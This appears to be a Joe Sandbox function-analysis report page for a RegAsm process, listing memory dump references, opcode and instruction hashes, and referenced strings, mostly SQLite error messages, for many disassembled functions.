Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 0-1808655853
Opcode ID: 3ab857dddf7e1c84410c436fee5acd841a7e7e52eea2f31a0dae476875dcbcc5
Instruction ID: 16cbe8b3a561be6ca43fda044150beb38451cc43bb76de717272b865ccab8128
Opcode Fuzzy Hash: 3ab857dddf7e1c84410c436fee5acd841a7e7e52eea2f31a0dae476875dcbcc5
Instruction Fuzzy Hash: E1412871A003119BD704AE38DC809AFB798BBE8210F554A2EF992C6350D331D549CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1B615960 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B615980
%s at line %d of [%.10s], xrefs: 1B615985
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B615976

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 2023d91c2405a7825b7e3ea73f1d9584d81e560518bb5dfa49c5ded48be5dc43
Instruction ID: 110e8926c3833da639e956e99dbb5efcfd3e0e9afcae1e7d28e3655002c23d83
Opcode Fuzzy Hash: 2023d91c2405a7825b7e3ea73f1d9584d81e560518bb5dfa49c5ded48be5dc43
Instruction Fuzzy Hash: D54129B6D413519FD7108B54DC81BDAF7F4AFE5320F88056AFC845B241E329E994C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B628850 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 1B62895F
os_win.c:%d: (%lu) %s(%s) - %s, xrefs: 1B6288E2

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: delayed %dms for lock/sharing conflict at line %d$os_win.c:%d: (%lu) %s(%s) - %s
API String ID: 0-1037342196
Opcode ID: 1d4bb1264e13cf800ce7ec4bb1a1c9d0ed3e8c9bb56719ff954f62fe24282b0c
Instruction ID: dce0b093af0f0b01450db634de51ce5db887c25bb7d12be59efc73f85055072b
Opcode Fuzzy Hash: 1d4bb1264e13cf800ce7ec4bb1a1c9d0ed3e8c9bb56719ff954f62fe24282b0c
Instruction Fuzzy Hash: EB213BB4604256AFEB209724CC86BFBBBD9AFE4304F944C5DE5C8C6192C23498448753

Uniqueness

Uniqueness Score: -1.00%

Function 1B4D5390 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 117COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B4D5408
%s at line %d of [%.10s], xrefs: 1B4D540D
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4D53FE

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: d6982fd4200109579bcf906d8ee94d8050fe0fa2bccb839d7e97c6e67fed9c75
Instruction ID: 81f58cded71fcfcc31c9d2deca3dafeb8a0f58bc21f605ccd26038b46dcd7a7a
Opcode Fuzzy Hash: d6982fd4200109579bcf906d8ee94d8050fe0fa2bccb839d7e97c6e67fed9c75
Instruction Fuzzy Hash: 7131AD656007A146D7218F38D8617E7BBE09F61313F08846EE9C5C7781E726F492C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B7ED0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

error in tokenizer constructor, xrefs: 1B5B7F92
no such tokenizer: %s, xrefs: 1B5B7F1B

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: error in tokenizer constructor$no such tokenizer: %s
API String ID: 0-815501780
Opcode ID: 209d9a780f6860f0d3496afa61d2425dae8c97c43a789f6d9df45af7f0793b10
Instruction ID: 452940ca3ce8b84d5236a912a21028e24e7325c0c4ea99e68429710c0f559b7a
Opcode Fuzzy Hash: 209d9a780f6860f0d3496afa61d2425dae8c97c43a789f6d9df45af7f0793b10
Instruction Fuzzy Hash: 6F31CF767002558FDB20CF19D880BAAB7E5EF84765F18066DE988DB300E332E805CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1B49F000 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

second argument to nth_value must be a positive integer, xrefs: 1B49F0C4

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: second argument to nth_value must be a positive integer
API String ID: 0-2620530100
Opcode ID: a62466d241008b5ee2b1822ab2880d3aff758ba8123644f38b9340288f37f980
Instruction ID: e87cbb44719fcdbee3ce07928388a09cfeb2df40a82ddfe0b263c02237081131
Opcode Fuzzy Hash: a62466d241008b5ee2b1822ab2880d3aff758ba8123644f38b9340288f37f980
Instruction Fuzzy Hash: 71313F76D003129BDF10BF24FC427DA7BA4BF48711F04C659EC95A6250F722FD548692

Uniqueness

Uniqueness Score: -1.00%

Function 1B4D5280 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B4D52FC
%s at line %d of [%.10s], xrefs: 1B4D5301
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4D52F2

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 48f6f74a4d2aef432c5279a2668e49b4036353f1499a8661a6cba69d863b6cbb
Instruction ID: 751604201620158990d96f3aa47c3e20d274100bfe17a813af9eda4e0c8681f8
Opcode Fuzzy Hash: 48f6f74a4d2aef432c5279a2668e49b4036353f1499a8661a6cba69d863b6cbb
Instruction Fuzzy Hash: DD11547B70020067CF105B59FC41CDBBFA5DFC52B2F094565FA4856222E722E92197F2

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000), ref: 0040EECB
GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040EEF6
wsprintfA.USER32 ref: 0040EF3C

Strings

DUB, xrefs: 0040EF09

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorInformationLastLogicalProcessorwsprintf
String ID: DUB
API String ID: 4210301552-3620500899
Opcode ID: 5972859eec071abbba46104b99739d47d3a8578b111994b832e41ceae0e04b5f
Instruction ID: 741c8af5bfff6a8fdddd2decec33d16abe5f3a752fb6206f2dd4af5b1af627c4
Opcode Fuzzy Hash: 5972859eec071abbba46104b99739d47d3a8578b111994b832e41ceae0e04b5f
Instruction Fuzzy Hash: 64214472E0011AFFCB209F96E8804AEB7B9EB44704B5444BFE105F2281DB384E559E99

Uniqueness

Uniqueness Score: -1.00%

Function 1B4DFD60 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

Strings

database corruption, xrefs: 1B4DFE7D
%s at line %d of [%.10s], xrefs: 1B4DFE82
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4DFDE6, 1B4DFE61

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 3a2b446b268c747bcdcf77295fc8f915afb099dff3545264a742d39d033535b7
Instruction ID: 6e566dda6bdeac9aeefe78fc1a8132a31e3c915f832103471dde7cc1033dd043
Opcode Fuzzy Hash: 3a2b446b268c747bcdcf77295fc8f915afb099dff3545264a742d39d033535b7
Instruction Fuzzy Hash: 6F311CA85143818AD3249F24C4143A2BB61BF25749FA4C5CDE4898F753E37BC4C7DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1B4ED6F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

%s%s, xrefs: 1B4ED725

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s%s
API String ID: 0-3252725368
Opcode ID: d79e4c29c31064142a0eed524e1b596a89c489a83c84814bc1c21f4be079ce75
Instruction ID: 23704560fe183b74713403e8909d2c0b0c2db54284c5e6792c7e5431f42ad383
Opcode Fuzzy Hash: d79e4c29c31064142a0eed524e1b596a89c489a83c84814bc1c21f4be079ce75
Instruction Fuzzy Hash: 78117F7A9002219BDB015F69DC88B9A37ACFFD026AF04452DEDD8E6204D739D958C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B6140 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

Strings

fts5: error creating shadow table %q_%s: %s, xrefs: 1B5B6197
WITHOUT ROWID, xrefs: 1B5B6150, 1B5B6162
CREATE TABLE %Q.'%q_%q'(%s)%s, xrefs: 1B5B6175

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: WITHOUT ROWID$CREATE TABLE %Q.'%q_%q'(%s)%s$fts5: error creating shadow table %q_%s: %s
API String ID: 0-1971204597
Opcode ID: 9f67dbcce53cabc786fef50f1f472ab2bd80edf0c31663d8aaebfb4549811af8
Instruction ID: 2975bb3a717f19ec2858660b689310766a4bb83b82802d371bb8804d869186e2
Opcode Fuzzy Hash: 9f67dbcce53cabc786fef50f1f472ab2bd80edf0c31663d8aaebfb4549811af8
Instruction Fuzzy Hash: F1119071600111AFEB054F68DD88AAABBB9FBD425AF04452CFD89D6101D731C858DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A2380 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 62COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4A2406
%s at line %d of [%.10s], xrefs: 1B4A240B
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4A23FC

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 50bd7c0e2729e4750af3798a9a344ccf2a2643d64478c9f84da9715db7a4c6e9
Instruction ID: 0745cf68d33fe4447346b566fbcfb534ff86791a1350c2677f507cc55dfce6ac
Opcode Fuzzy Hash: 50bd7c0e2729e4750af3798a9a344ccf2a2643d64478c9f84da9715db7a4c6e9
Instruction Fuzzy Hash: 88116A752042129FD718DF28DC80E9ABBA4BFA9304F51849CE5469B392D731E886DB90

Uniqueness

Uniqueness Score: -1.00%

Function 1B541F70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

JSON path error near '%q', xrefs: 1B541F92

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: JSON path error near '%q'
API String ID: 0-481711382
Opcode ID: 17ae739514cbd295309a7757e9541cfcb5fbe7ff625762630ee159fbcc5d1177
Instruction ID: c8ce1d5d1bc728486c6ee857ae0311d689373697473700ffcb1285390791b1c8
Opcode Fuzzy Hash: 17ae739514cbd295309a7757e9541cfcb5fbe7ff625762630ee159fbcc5d1177
Instruction Fuzzy Hash: 4C0104B27092517EEB209B549C01BDB7FD4DF81330F20462CF995962D4EB71A80293A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A1DF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4A1E59
%s at line %d of [%.10s], xrefs: 1B4A1E63
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4A1E53

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 312aafddc11906cb73772f3ad06ea337a13c0d1cf8cec54f1d7599822b415565
Instruction ID: aefe3f83b7944b50cb090b65683f7505255b1798cd41c35cbcb87624ecfd3d46
Opcode Fuzzy Hash: 312aafddc11906cb73772f3ad06ea337a13c0d1cf8cec54f1d7599822b415565
Instruction Fuzzy Hash: DC11E374708550AFD718DF3AD844AD7BBB8AF77A95F048458E046CB322C335E946C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4BF0E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

INSERT INTO %Q.%Q(%Q) VALUES('flush'), xrefs: 1B4BF105

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
